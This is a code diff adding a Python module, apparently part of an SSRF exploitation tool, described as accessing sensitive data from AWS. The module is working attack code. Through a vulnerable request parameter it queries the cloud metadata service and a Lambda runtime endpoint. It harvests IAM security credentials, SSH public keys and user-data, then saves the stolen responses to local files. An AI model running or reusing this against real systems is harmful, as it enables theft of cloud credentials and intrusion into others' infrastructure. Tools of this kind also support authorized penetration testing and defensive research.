|
| 1 | +from utils.utils import * |
| 2 | +import logging |
| 3 | +import os |
| 4 | + |
| 5 | +name = "aws" |
| 6 | +description = "Access sensitive data from AWS" |
| 7 | +author = "errorfiathck" |
| 8 | +documentation = [ |
| 9 | + "https://hackerone.com/reports/53088", |
| 10 | + "https://hackerone.com/reports/285380", |
| 11 | + "https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/", |
| 12 | + "https://twitter.com/spengietz/status/1161317376060563456" |
| 13 | +] |
| 14 | + |
| 15 | +class exploit(): |
| 16 | + endpoints = set() |
| 17 | + |
| 18 | + def __init__(self, requester, args): |
| 19 | + logging.info(f"Module '{name}' launched !") |
| 20 | + self.add_endpoints() |
| 21 | + |
| 22 | + r = requester.do_request(args.param, "") |
| 23 | + if r != None: |
| 24 | + default = r.text |
| 25 | + |
| 26 | + # Create directory to store files |
| 27 | + directory = requester.host |
| 28 | + # Replace : with _ for window folder name safe |
| 29 | + # https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters |
| 30 | + directory = directory.replace(':','_') |
| 31 | + if not os.path.exists(directory): |
| 32 | + os.makedirs(directory) |
| 33 | + |
| 34 | + for endpoint in self.endpoints: |
| 35 | + payload = wrapper_http(endpoint[1], endpoint[0] , endpoint[2]) |
| 36 | + r = requester.do_request(args.param, payload) |
| 37 | + diff = diff_text(r.text, default) |
| 38 | + if diff != "": |
| 39 | + |
| 40 | + # Display diff between default and ssrf request |
| 41 | + logging.info(f"\033[32mReading file\033[0m : {payload}") |
| 42 | + print(diff) |
| 43 | + |
| 44 | + # Write diff to a file |
| 45 | + filename = endpoint[1].split('/')[-1] |
| 46 | + if filename == "": |
| 47 | + filename = endpoint[1].split('/')[-2:-1][0] |
| 48 | + |
| 49 | + logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}") |
| 50 | + with open(directory + "/" + filename, 'w') as f: |
| 51 | + f.write(diff) |
| 52 | + |
| 53 | + |
| 54 | + def add_endpoints(self): |
| 55 | + self.endpoints.add( ("169.254.169.254","latest/user-data", "80") ) |
| 56 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/ami-id", "80") ) |
| 57 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/reservation-id", "80") ) |
| 58 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/hostname", "80") ) |
| 59 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/0/openssh-key", "80") ) |
| 60 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/1/openssh-key", "80") ) |
| 61 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/2/openssh-key", "80") ) |
| 62 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/dummy", "80") ) |
| 63 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/ecsInstanceRole", "80") ) |
| 64 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/", "80") ) |
| 65 | + self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/", "80") ) |
| 66 | + self.endpoints.add( ("169.254.169.254","latest/user-data/", "80") ) |
| 67 | + self.endpoints.add( ("localhost","2018-06-01/runtime/invocation/next", "9001") ) |
0 commit comments